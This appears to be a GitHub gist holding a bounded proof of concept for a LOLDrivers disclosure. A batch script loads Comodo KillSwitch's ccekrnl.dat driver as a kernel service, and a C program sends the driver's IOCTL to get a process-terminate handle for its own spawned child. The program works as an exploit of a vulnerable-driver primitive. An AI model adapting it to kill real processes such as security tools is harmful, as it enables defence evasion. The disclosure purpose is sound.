Created
September 19, 2026 02:24
-
-
Save xusheng6/2b90dcba4b09bfeaf392c341654cf48e to your computer and use it in GitHub Desktop.
Bounded Comodo KillSwitch ccekrnl.dat process-handle PoC for LOLDrivers submission
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @echo off | |
| setlocal | |
| set "LABDIR=C:\byotc-comodo" | |
| if not exist "%LABDIR%" mkdir "%LABDIR%" | |
| copy /y D:\ccekrnl.dat "%LABDIR%\ccekrnl.dat" >nul | |
| copy /y D:\ccekrnl_probe.exe "%LABDIR%\ccekrnl_probe.exe" >nul | |
| echo === Pre-load control (device access should fail) === | |
| "%LABDIR%\ccekrnl_probe.exe" | |
| echo === Loading the copied ccekrnl.dat === | |
| sc.exe create byotc_ccekrnl type= kernel start= demand binPath= "%LABDIR%\ccekrnl.dat" | |
| sc.exe start byotc_ccekrnl | |
| sc.exe query byotc_ccekrnl | |
| echo === Post-load probe (driver handle should terminate only its child) === | |
| "%LABDIR%\ccekrnl_probe.exe" | |
| set "PROBE_RC=%ERRORLEVEL%" | |
| echo Probe exit code: %PROBE_RC% | |
| pause | |
| exit /b %PROBE_RC% |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <wchar.h> | |
| /* | |
| * Non-destructive probe for the process-handle primitive exposed by the | |
| * ccekrnl.dat driver bundled with Comodo KillSwitch. The parent launches | |
| * another instance of this same binary and requests PROCESS_TERMINATE only | |
| * for that child. It never accepts an arbitrary PID. | |
| */ | |
| #define CCEKRNL_IOCTL_OPEN_PROCESS 0x22e01fUL | |
| typedef struct CCE_OPEN_PROCESS_REQUEST { | |
| ULONG_PTR ProcessId; | |
| ULONG_PTR DesiredAccess; | |
| HANDLE *ProcessHandle; | |
| } CCE_OPEN_PROCESS_REQUEST; | |
| static int child_mode(void) | |
| { | |
| Sleep(10 * 60 * 1000); | |
| return 0; | |
| } | |
| int wmain(int argc, wchar_t **argv) | |
| { | |
| if (argc == 2 && wcscmp(argv[1], L"--sacrificial-child") == 0) | |
| return child_mode(); | |
| wchar_t image[MAX_PATH]; | |
| wchar_t command[(MAX_PATH * 2) + 64]; | |
| STARTUPINFOW si = { 0 }; | |
| PROCESS_INFORMATION pi = { 0 }; | |
| HANDLE device = INVALID_HANDLE_VALUE; | |
| HANDLE driver_process = NULL; | |
| DWORD returned = 0; | |
| BOOL ok; | |
| int result = 1; | |
| si.cb = sizeof(si); | |
| if (!GetModuleFileNameW(NULL, image, ARRAYSIZE(image))) { | |
| fwprintf(stderr, L"GetModuleFileNameW failed: %lu\n", GetLastError()); | |
| return 1; | |
| } | |
| _snwprintf(command, ARRAYSIZE(command), L"\"%ls\" --sacrificial-child", image); | |
| command[ARRAYSIZE(command) - 1] = L'\0'; | |
| if (!CreateProcessW(image, command, NULL, NULL, FALSE, CREATE_NO_WINDOW, | |
| NULL, NULL, &si, &pi)) { | |
| fwprintf(stderr, L"CreateProcessW failed: %lu\n", GetLastError()); | |
| return 1; | |
| } | |
| device = CreateFileW(L"\\\\.\\CCEKrnl", GENERIC_READ | GENERIC_WRITE, | |
| FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, | |
| NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
| if (device == INVALID_HANDLE_VALUE) { | |
| fwprintf(stderr, L"CreateFileW(\\\\.\\CCEKrnl) failed: %lu\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| CCE_OPEN_PROCESS_REQUEST request = { | |
| (ULONG_PTR)pi.dwProcessId, | |
| PROCESS_TERMINATE, | |
| &driver_process | |
| }; | |
| ok = DeviceIoControl(device, CCEKRNL_IOCTL_OPEN_PROCESS, | |
| &request, sizeof(request), NULL, 0, &returned, NULL); | |
| wprintf(L"child_pid=%lu ioctl_ok=%d error=%lu returned_handle=%p\n", | |
| pi.dwProcessId, ok, ok ? ERROR_SUCCESS : GetLastError(), driver_process); | |
| if (!ok || !driver_process) | |
| goto cleanup; | |
| if (!TerminateProcess(driver_process, 0x434345)) { | |
| fwprintf(stderr, L"TerminateProcess failed: %lu\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| if (WaitForSingleObject(pi.hProcess, 5000) != WAIT_OBJECT_0) { | |
| fwprintf(stderr, L"The sacrificial child did not exit\n"); | |
| goto cleanup; | |
| } | |
| puts("CONFIRMED: an unrelated client obtained a terminating handle via ccekrnl.dat"); | |
| result = 0; | |
| cleanup: | |
| if (driver_process) | |
| CloseHandle(driver_process); | |
| if (device != INVALID_HANDLE_VALUE) | |
| CloseHandle(device); | |
| if (pi.hProcess) { | |
| if (WaitForSingleObject(pi.hProcess, 0) == WAIT_TIMEOUT) | |
| TerminateProcess(pi.hProcess, 0); | |
| CloseHandle(pi.hProcess); | |
| } | |
| if (pi.hThread) | |
| CloseHandle(pi.hThread); | |
| return result; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment